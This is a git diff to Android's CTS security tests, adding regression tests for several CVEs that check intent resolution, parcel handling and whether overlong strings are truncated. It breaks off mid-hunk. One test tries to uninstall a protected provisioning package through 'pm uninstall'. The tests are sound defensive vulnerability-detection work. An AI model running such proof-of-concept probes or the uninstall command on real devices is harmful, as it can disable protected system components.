@@ -40,8 +40,10 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
@RunWith(AndroidJUnit4.class)
-public class Settings_SystemTest {
+public class Settings_SystemTest extends StsExtraBusinessLogicTestCase {
private static final String INT_FIELD = System.END_BUTTON_BEHAVIOR;
private static final String LONG_FIELD = System.SCREEN_OFF_TIMEOUT;
private static final String FLOAT_FIELD = System.FONT_SCALE;
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 9478938..9c43b58 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -163,6 +163,9 @@
</intent-filter>
</activity>
+ <activity android:name="android.security.cts.PackageInstallerTest$BackgroundLaunchActivity"
+ android:exported="true" />
+
<receiver
android:name="android.security.cts.CVE_2021_0327.workprofilesetup.AdminReceiver"
android:permission="android.permission.BIND_DEVICE_ADMIN">
@@ -203,6 +206,26 @@
android:resource="@xml/syncadapter" />
</service>
+ <activity android:name="android.security.cts.CVE_2021_0642.PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="CVE_2021_0642_ACTION" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+
+ <activity android:name="android.security.cts.CVE_2021_0642.SecondActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="CVE_2021_0642_ACTION" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/res/raw/cve_2022_33234.mkv b/tests/tests/security/res/raw/cve_2022_33234.mkv
new file mode 100644
index 0000000..752e3cd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_33234.mkv
Binary files differ
diff --git a/tests/tests/security/res/values/strings.xml b/tests/tests/security/res/values/strings.xml
new file mode 100644
index 0000000..73dd5b9
--- /dev/null
+++ b/tests/tests/security/res/values/strings.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <!-- CVE-2021-0642 -->
+ <string name="cve_2021_0642_action">CVE_2021_0642_ACTION</string>
+ <string name="cve_2021_0642_pkgPhone">com.android.phone</string>
+ <string name="cve_2021_0642_failMsg">Device is vulnerable to b/185126149 !!</string>
+ <string name="cve_2021_0642_msgResolveErrorVoicemail">The intent with action
+ ACTION_CONFIGURE_VOICEMAIL should resolve to either ResolverActivity or
+ VoicemailSettingsActivity</string>
+ <string name="cve_2021_0642_msgResolveErrorPocAction">The intent with action
+ CVE_2021_0642_ACTION should not be resolved to test package</string>
+</resources>
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0642/CVE_2021_0642.java b/tests/tests/security/src/android/security/cts/CVE_2021_0642/CVE_2021_0642.java
new file mode 100644
index 0000000..b40c06b
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0642/CVE_2021_0642.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0642;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.security.cts.R;
+import android.telephony.TelephonyManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import java.util.List;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0642 extends StsExtraBusinessLogicTestCase {
+
+ // b/185126149
+ // Vulnerable app : TeleService.apk
+ // Vulnerable module : com.android.phone
+ // Is Play managed : No
+ @AsbSecurityTest(cveBugId = 185126149)
+ @Test
+ public void testCVE_2021_0642() {
+ try {
+ // This test requires the device to have Telephony feature.
+ Context context = getInstrumentation().getTargetContext();
+ PackageManager pm = context.getPackageManager();
+ assumeTrue(pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+
+ // Get ResolverActivity's name and package name
+ Intent customIntent = new Intent(context.getString(R.string.cve_2021_0642_action));
+ ResolveInfo riCustomAction =
+ pm.resolveActivity(customIntent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(context.getString(R.string.cve_2021_0642_msgResolveErrorPocAction),
+ !riCustomAction.activityInfo.packageName.equals(context.getPackageName()));
+ final String resolverPkgName = riCustomAction.activityInfo.packageName;
+ final String resolverActivityName = riCustomAction.activityInfo.name;
+
+ // Resolving intent with action "ACTION_CONFIGURE_VOICEMAIL"
+ Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ final String resolvedPkgName = ri.activityInfo.packageName;
+ final String resolvedActivityName = ri.activityInfo.name;
+
+ // Check if intent resolves to either VoicemailActivity or ResolverActivity
+ boolean isVoicemailActivity =
+ resolvedPkgName.equals(context.getString(R.string.cve_2021_0642_pkgPhone));
+ boolean isResolverActivity = resolvedPkgName.equals(resolverPkgName)
+ && resolvedActivityName.equals(resolverActivityName);
+
+ assumeTrue(context.getString(R.string.cve_2021_0642_msgResolveErrorVoicemail),
+ isVoicemailActivity || isResolverActivity);
+
+ // If vulnerability is present, the intent with action ACTION_CONFIGURE_VOICEMAIL
+ // would resolve to the IntentResolver i.e. ResolverActivity, the test would fail in
+ // this case.
+ assertFalse(context.getString(R.string.cve_2021_0642_failMsg), isResolverActivity);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0642/PocActivity.java
similarity index 93%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
rename to tests/tests/security/src/android/security/cts/CVE_2021_0642/PocActivity.java
index 1a335c7..ae73b01 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0642/PocActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0642;
import android.app.Activity;
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0642/SecondActivity.java
similarity index 87%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/tests/security/src/android/security/cts/CVE_2021_0642/SecondActivity.java
index 1a335c7..4c0caee 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0642/SecondActivity.java
@@ -14,9 +14,9 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0642;
import android.app.Activity;
-public class PocActivity extends Activity {
+public class SecondActivity extends Activity {
}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0685.java b/tests/tests/security/src/android/security/cts/CVE_2021_0685.java
new file mode 100644
index 0000000..5a4de17
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0685.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.content.IntentFilter;
+import android.content.pm.parsing.component.ParsedIntentInfo;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.text.TextUtils;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0685 extends StsExtraBusinessLogicTestCase {
+ private static final int VAL_LABEL_RES = 5;
+ private static final boolean VAL_HAS_DEFAULT = true;
+ private static final String VAL_NONLOCALIZED_LABEL = "CVE_2021_0965";
+ private static final int VAL_ICON = 7;
+ private static final int PARCELABLE_FLAGS = 0;
+
+ @AsbSecurityTest(cveBugId = 191055353)
+ @Test
+ public void testPocCVE_2021_0685() {
+ Parcel parcel = null;
+ try {
+ parcel = Parcel.obtain();
+ parcel.writeString(ParsedIntentInfo.class.getName());
+ new IntentFilter().writeToParcel(parcel, PARCELABLE_FLAGS);
+ parcel.writeBoolean(VAL_HAS_DEFAULT);
+ parcel.writeInt(VAL_LABEL_RES);
+ TextUtils.writeToParcel(VAL_NONLOCALIZED_LABEL, parcel, PARCELABLE_FLAGS);
+ parcel.writeInt(VAL_ICON);
+
+ parcel.setDataPosition(0);
+ ParsedIntentInfo info = parcel.readParcelable(ParsedIntentInfo.class.getClassLoader());
+ if (info.getLabelRes() == VAL_LABEL_RES && info.isHasDefault() == VAL_HAS_DEFAULT
+ && info.getNonLocalizedLabel().equals(VAL_NONLOCALIZED_LABEL)
+ && info.getIcon() == VAL_ICON) {
+ fail("Vulnerable to b/191055353!!");
+ }
+ } catch (Exception e) {
+ if (e instanceof ClassCastException) {
+ return;
+ }
+ assumeNoException(e);
+ } finally {
+ try {
+ parcel.recycle();
+ } catch (Exception e) {
+ // ignore all exceptions.
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20456.java b/tests/tests/security/src/android/security/cts/CVE_2022_20456.java
new file mode 100644
index 0000000..2643433
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20456.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.app.NotificationManager.INTERRUPTION_FILTER_UNKNOWN;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.AutomaticZenRule;
+import android.content.ComponentName;
+import android.net.Uri;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+
+// This CTS test has been created taking reference from the tests present in
+// frameworks/base/core/tests/coretests/src/android/app/AutomaticZenRuleTest.java
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20456 extends StsExtraBusinessLogicTestCase {
+ private static final int INPUT_STRING_LENGTH = 2000; // 2 * 'MAX_STRING_LENGTH'
+ private static final String CLASS_NAME = "className";
+ private static final String PACKAGE_NAME = "packageName";
+ private static final String URI_STRING = "condition://android";
+ private static final String ZEN_RULE_NAME = "ZenRuleName";
+ private ComponentName mComponentNameWithLongFields;
+ private ComponentName mValidComponentName;
+ private String mLongString;
+ private Uri mLongUri;
+ private Uri mValidUri;
+ private List<String> mViolations;
+
+ private void checkFields(AutomaticZenRule rule, boolean ownerFlag, boolean configActivityFlag,
+ String tag) {
+ // Check all fields
+ if (INPUT_STRING_LENGTH <= rule.getName().length()) {
+ mViolations.add(tag + "input string length <= rule name length");
+ }
+ if (mLongUri.toString().length() <= rule.getConditionId().toString().length()) {
+ mViolations.add(tag + "input uri length <= rule conditionId length");
+ }
+ if (ownerFlag) {
+ if (INPUT_STRING_LENGTH <= rule.getOwner().getPackageName().length()) {
+ mViolations.add(tag + "input string length <= rule owner package name length");
+ }
+ if (INPUT_STRING_LENGTH <= rule.getOwner().getClassName().length()) {
+ mViolations.add(tag + "input string length <= rule owner class name length");
+ }
+ }
+ if (configActivityFlag) {
+ if (INPUT_STRING_LENGTH <= rule.getConfigurationActivity().getPackageName().length()) {
+ mViolations.add(tag
+ + "input string length <= rule configurationActivity package name length");
+ }
+ if (INPUT_STRING_LENGTH <= rule.getConfigurationActivity().getClassName().length()) {
+ mViolations.add(tag
+ + "input string length <= rule configurationActivity class name length");
+ }
+ }
+ }
+
+ private void checkConstructor(boolean ownerFlag, boolean configActivityFlag) {
+ ComponentName owner = ownerFlag ? mComponentNameWithLongFields : null;
+ ComponentName configActivity = configActivityFlag ? mComponentNameWithLongFields : null;
+ AutomaticZenRule rule = new AutomaticZenRule(mLongString, owner, configActivity, mLongUri,
+ null, INTERRUPTION_FILTER_UNKNOWN, /* enabled */ true);
+ checkFields(rule, ownerFlag, configActivityFlag, "\ncheckConstructor (owner=" + ownerFlag
+ + ", configActivity=" + configActivityFlag + "): ");
+ }
+
+ private void testIsConstructorVulnerable() {
+ // Check all three variants i.e. with owner, with configuration activity and with both
+ // owner and configuration activity. Although third case is mostly redundant, adding it to
+ // complete checks on all possible variants.
+ checkConstructor(/* ownerFlag */ true, /* configActivityFlag */ false);
+ checkConstructor(/* ownerFlag */ false, /* configActivityFlag */ true);
+ checkConstructor(/* ownerFlag */ true, /* configActivityFlag */ true);
+ }
+
+ private void checkFieldSetters(boolean ownerFlag, boolean configActivityFlag) {
+ ComponentName owner = ownerFlag ? mValidComponentName : null;
+ ComponentName configActivity = configActivityFlag ? mValidComponentName : null;
+ AutomaticZenRule rule = new AutomaticZenRule(ZEN_RULE_NAME, owner, configActivity,
+ mValidUri, null, INTERRUPTION_FILTER_UNKNOWN, /* enabled */ true);
+
+ // Check all fields that can be set via setter methods of AutomaticZenRule class
+ rule.setName(mLongString);
+ rule.setConditionId(mLongUri);
+ rule.setConfigurationActivity(mComponentNameWithLongFields);
+ checkFields(rule, /* ownerFlag */ false, /* configActivityFlag */ true,
+ "\ncheckFieldSetters (owner=" + ownerFlag + ", configActivity=" + configActivityFlag
+ + "): ");
+ }
+
+ private void testIsFieldSetterVulnerable() {
+ checkFieldSetters(/* ownerFlag */ true, /* configActivityFlag */ false);
+ checkFieldSetters(/* ownerFlag */ false, /* configActivityFlag */ true);
+ checkFieldSetters(/* ownerFlag */ true, /* configActivityFlag */ true);
+ }
+
+ private void checkParcelInput(boolean ownerFlag, boolean configActivityFlag)
+ throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+ ComponentName owner = ownerFlag ? mValidComponentName : null;
+ ComponentName configActivity = configActivityFlag ? mValidComponentName : null;
+ AutomaticZenRule rule = new AutomaticZenRule(ZEN_RULE_NAME, owner, configActivity,
+ mValidUri, null, INTERRUPTION_FILTER_UNKNOWN, /* enabled */ true);
+
+ // Create rules with long fields set directly via reflection so that we can confirm that a
+ // rule with too-long fields that comes in via a parcel has its fields truncated directly.
+ Class automaticZenRuleClass = Class.forName("android.app.AutomaticZenRule");
+ Field fieldName = automaticZenRuleClass.getDeclaredField("name");
+ fieldName.setAccessible(/* flag */ true);
+ fieldName.set(rule, mLongString);
+ Field fieldConditionId = automaticZenRuleClass.getDeclaredField("conditionId");
+ fieldConditionId.setAccessible(/* flag */ true);
+ fieldConditionId.set(rule, mLongUri);
+ if (ownerFlag) {
+ Field fieldOwner = automaticZenRuleClass.getDeclaredField("owner");
+ fieldOwner.setAccessible(/* flag */ true);
+ fieldOwner.set(rule, mComponentNameWithLongFields);
+ }
+ if (configActivityFlag) {
+ Field fieldConfigActivity =
+ automaticZenRuleClass.getDeclaredField("configurationActivity");
+ fieldConfigActivity.setAccessible(/* flag */ true);
+ fieldConfigActivity.set(rule, mComponentNameWithLongFields);
+ }
+
+ // Write AutomaticZenRule object to parcel
+ Parcel parcel = Parcel.obtain();
+ rule.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+
+ // Instantiate AutomaticZenRule object using parcel
+ AutomaticZenRule ruleFromParcel = new AutomaticZenRule(parcel);
+
+ checkFields(ruleFromParcel, ownerFlag, configActivityFlag, "\ncheckParcelInput (owner="
+ + ownerFlag + ", configActivity=" + configActivityFlag + "): ");
+ }
+
+ private void testIsInputFromParcelVulnerable()
+ throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+ checkParcelInput(/* ownerFlag */ true, /* configActivityFlag */ false);
+ checkParcelInput(/* ownerFlag */ false, /* configActivityFlag */ true);
+ checkParcelInput(/* ownerFlag */ true, /* configActivityFlag */ true);
+ }
+
+ // b/242703460, b/242703505, b/242703780, b/242704043, b/243794204
+ // Vulnerable library : framework.jar
+ // Vulnerable module : Not applicable
+ // Is Play managed : No
+ @AsbSecurityTest(cveBugId = {242703460, 242703505, 242703780, 242704043, 243794204})
+ @Test
+ public void testPocCVE_2022_20456() {
+ try {
+ mLongString = String.join("", Collections.nCopies(INPUT_STRING_LENGTH, "A"));
+ mComponentNameWithLongFields = new ComponentName(mLongString, mLongString);
+ mValidComponentName = new ComponentName(PACKAGE_NAME, CLASS_NAME);
+ mLongUri = Uri.parse("condition://" + mLongString);
+ mValidUri = Uri.parse(URI_STRING);
+ mViolations = new ArrayList<String>();
+
+ // Check AutomaticZenRule constructor
+ testIsConstructorVulnerable();
+
+ // Check AutomaticZenRule field setters
+ testIsFieldSetterVulnerable();
+
+ // Check AutomaticZenRule constructor using parcel input
+ testIsInputFromParcelVulnerable();
+
+ assertTrue("Device is vulnerable to at least one of the following vulnerabilities : "
+ + "b/242703460(CVE-2022-20489), b/242703505(CVE-2022-20490), b/242703780"
+ + "(CVE-2022-20456), b/242704043(CVE-2022-20492), b/243794204(CVE-2022-20494)"
+ + " due to these violations where input string length=" + INPUT_STRING_LENGTH
+ + " and input uri length=" + mLongUri.toString().length() + ":" + mViolations,
+ mViolations.isEmpty());
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20493.java b/tests/tests/security/src/android/security/cts/CVE_2022_20493.java
new file mode 100644
index 0000000..4933dc6
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20493.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.net.Uri;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.service.notification.Condition;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import java.lang.reflect.Field;
+import java.util.Collections;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/*
+ * This CTS test has been created taking reference from the tests present in
+ * frameworks/base/core/tests/coretests/src/android/service/notification/ConditionTest.java
+ */
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20493 extends StsExtraBusinessLogicTestCase {
+ private static final int INPUT_STRING_LENGTH = 2000;
+ private String mLongString;
+ private String mValidString;
+ private Uri mLongUri;
+ private Uri mValidUri;
+
+ private boolean checkFields(Condition condition, boolean checkLine) {
+ // Check all fields
+ boolean status = (mLongUri.toString().length() <= condition.id.toString().length())
+ || (INPUT_STRING_LENGTH <= condition.summary.length());
+ if (checkLine) {
+ status = status || (INPUT_STRING_LENGTH <= condition.line1.length())
+ || (INPUT_STRING_LENGTH <= condition.line2.length());
+ }
+ return status;
+ }
+
+ private boolean testLongFieldsInConstructors() {
+ // Confirm strings are truncated via short constructor
+ Condition firstCondition = new Condition(mLongUri, mLongString, Condition.STATE_TRUE);
+
+ // Confirm strings are truncated via long constructor
+ Condition secondCondition = new Condition(mLongUri, mLongString, mLongString, mLongString,
+ -1, Condition.STATE_TRUE, Condition.FLAG_RELEVANT_ALWAYS);
+ return checkFields(firstCondition, false) || checkFields(secondCondition, true);
+ }
+
+ private boolean setFieldsUsingReflection(boolean setLine)
+ throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+ // Set fields via reflection to force them to be long, then parcel and unparcel to make sure
+ // it gets truncated upon unparcelling.
+ Condition condition;
+ if (setLine) {
+ condition = new Condition(mValidUri, mValidString, mValidString, mValidString, -1,
+ Condition.STATE_TRUE, Condition.FLAG_RELEVANT_ALWAYS);
+ } else {
+ condition = new Condition(mValidUri, mValidString, Condition.STATE_TRUE);
+ }
+
+ Class conditionClass = Class.forName("android.service.notification.Condition");
+ Field id = conditionClass.getDeclaredField("id");
+ id.setAccessible(true);
+ id.set(condition, mLongUri);
+ Field summary = conditionClass.getDeclaredField("summary");
+ summary.setAccessible(true);
+ summary.set(condition, mLongString);
+ if (setLine) {
+ Field line1 = conditionClass.getDeclaredField("line1");
+ line1.setAccessible(true);
+ line1.set(condition, mLongString);
+ Field line2 = conditionClass.getDeclaredField("line2");
+ line2.setAccessible(true);
+ line2.set(condition, mLongString);
+ }
+
+ Parcel parcel = Parcel.obtain();
+ condition.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+
+ Condition conditionFromParcel = new Condition(parcel);
+ return checkFields(conditionFromParcel, setLine);
+ }
+
+ private boolean testLongFieldsFromParcel()
+ throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+ return setFieldsUsingReflection(true) || setFieldsUsingReflection(false);
+ }
+
+ /**
+ * b/242846316
+ * Vulnerable library : framework.jar
+ * Vulnerable module : Not applicable
+ * Is Play managed : No
+ */
+ @AsbSecurityTest(cveBugId = 242846316)
+ @Test
+ public void testPocCVE_2022_20493() {
+ try {
+ mLongString = String.join("", Collections.nCopies(INPUT_STRING_LENGTH, "A"));
+ mLongUri = Uri.parse("condition://" + mLongString);
+ mValidUri = Uri.parse("condition://android");
+ mValidString = "placeholder";
+ boolean firstResult = testLongFieldsInConstructors();
+ boolean secondResult = testLongFieldsFromParcel();
+ assertFalse("Device is vulnerable to b/242846316!", firstResult || secondResult);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20611.java b/tests/tests/security/src/android/security/cts/CVE_2022_20611.java
new file mode 100644
index 0000000..02526f4
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20611.java
@@ -0,0 +1,63 @@
+/**
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20611 extends StsExtraBusinessLogicTestCase {
+ /**
+ * CVE-2022-20611
+ */
+ @AsbSecurityTest(cveBugId = 242996180)
+ @Test
+ public void testPocCVE_2022_20611() throws Exception {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ int provisioningAppId = context.getResources().getIdentifier(
+ "config_deviceProvisioningPackage", "string", "android");
+ assumeTrue("config_deviceProvisioningPackage not found.", provisioningAppId > 0);
+
+ String protectedPkg = context.getResources().getString(provisioningAppId);
+ assumeFalse("config_deviceProvisioningPackage is not set", protectedPkg.isEmpty());
+
+ String res = runShellCommand("pm list packages " + protectedPkg);
+ assumeTrue(protectedPkg + " is not installed.", res.contains(protectedPkg));
+
+ res = runShellCommand("pm uninstall -k --user 0 " + protectedPkg);
+ if (!res.contains("DELETE_FAILED_INTERNAL_ERROR")) {
+ runShellCommand("pm install-existing --user 0 " + protectedPkg);
+ fail(
+ "Protected package '" + protectedPkg + "' could be uninstalled. "
+ + "Vulnerable to b/242994180.");
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
index ddea213..ec06b27 100644
--- a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
@@ -16,25 +16,45 @@
package android.security.cts;
+import static android.content.Intent.EXTRA_REMOTE_CALLBACK;
+
import android.Manifest;
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.Instrumentation.ActivityMonitor;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.RemoteCallback;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.Settings;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.SystemUtil;
import com.android.cts.install.lib.Install;
import com.android.cts.install.lib.TestApp;
import com.android.cts.install.lib.Uninstall;
import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.After;
+import org.junit.AfterClass;
import org.junit.Assert;
import org.junit.Before;
+import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.Objects;
import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicReference;
@RunWith(AndroidJUnit4.class)
@AppModeFull
@@ -42,10 +62,37 @@
private static final String TEST_APP_NAME = "android.security.cts.packageinstallertestapp";
+ private static final String KEY_ERROR = "key_error";
+ private static final String ACTION_COMMIT_WITH_ACTIVITY_INTENT_SENDER = TEST_APP_NAME
+ + ".action.COMMIT_WITH_ACTIVITY_INTENT_SENDER";
+
+ static final long DEFAULT_TIMEOUT_MS = TimeUnit.SECONDS.toMillis(15);
+
private static final TestApp TEST_APP = new TestApp(
"PackageInstallerTestApp", TEST_APP_NAME, 1, /*isApex*/ false,
"PackageInstallerTestApp.apk");
+ private static Context sContext = InstrumentationRegistry.getInstrumentation().getContext();
+ private static HandlerThread sResponseThread;
+ private static Handler sHandler;
+
+ private static final ComponentName BACKGROUND_RECEIVER_COMPONENT_NAME =
+ ComponentName.createRelative(TEST_APP_NAME, ".BackgroundReceiver");
+ private static final ComponentName BACKGROUND_LAUNCH_ACTIVITY_COMPONENT_NAME =
+ new ComponentName(sContext, BackgroundLaunchActivity.class);
+
+ @BeforeClass
+ public static void onBeforeClass() {
+ sResponseThread = new HandlerThread("response");
+ sResponseThread.start();
+ sHandler = new Handler(sResponseThread.getLooper());
+ }
+
+ @AfterClass
+ public static void onAfterClass() {
+ sResponseThread.quit();
+ }
+
@Before
public void setUp() {
InstrumentationRegistry
@@ -74,4 +121,67 @@
Assert.assertNotNull("Did not receive broadcast", packageName);
